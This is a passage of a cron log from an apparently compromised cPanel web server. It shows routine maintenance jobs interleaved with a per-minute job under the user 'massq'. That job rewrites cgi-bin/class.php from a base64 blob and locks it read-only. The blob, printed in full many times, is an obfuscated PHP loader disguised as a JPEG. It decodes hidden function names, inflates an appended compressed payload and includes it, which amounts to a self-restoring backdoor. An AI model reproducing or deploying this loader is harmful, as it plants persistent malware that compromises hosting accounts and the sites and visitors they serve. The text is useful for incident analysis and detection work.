AC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:04:01 server CROND[15503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:04:01 server CROND[15504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:04:01 server CROND[15505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:05:01 server CROND[15989]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 02:05:01 server CROND[15990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:05:01 server CROND[15992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:05:01 server CROND[15999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:05:01 server CROND[16010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:05:01 server CROND[16003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:05:01 server CROND[16006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:05:01 server CROND[16013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:05:01 server CROND[16011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:06:01 server CROND[16837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:06:01 server CROND[16839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:06:01 server CROND[16840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:07:01 server CROND[17210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:07:01 server CROND[17211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:07:01 server CROND[17212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:08:01 server CROND[17530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:08:01 server CROND[17531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:08:01 server CROND[17532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:09:01 server CROND[17900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:09:01 server CROND[17902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:09:01 server CROND[17903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:09:01 server CROND[17901]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 02:10:01 server CROND[18378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:10:01 server CROND[18380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:10:01 server CROND[18382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:10:01 server CROND[18383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:10:01 server CROND[18385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:10:01 server CROND[18381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:10:01 server CROND[18384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:10:01 server CROND[18386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:11:01 server CROND[19237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:11:01 server CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:11:01 server CROND[19239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:12:01 server CROND[19609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:12:01 server CROND[19610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:12:01 server CROND[19611]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:12:01 server CROND[19612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:13:01 server CROND[19993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:13:01 server CROND[19994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:13:01 server CROND[19995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:14:01 server CROND[20361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:14:01 server CROND[20362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:14:01 server CROND[20363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:15:01 server CROND[20859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:15:01 server CROND[20861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:15:01 server CROND[20864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:15:01 server CROND[20862]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 02:15:01 server CROND[20866]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:15:01 server CROND[20863]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 02:15:01 server CROND[20868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:15:01 server CROND[20869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUy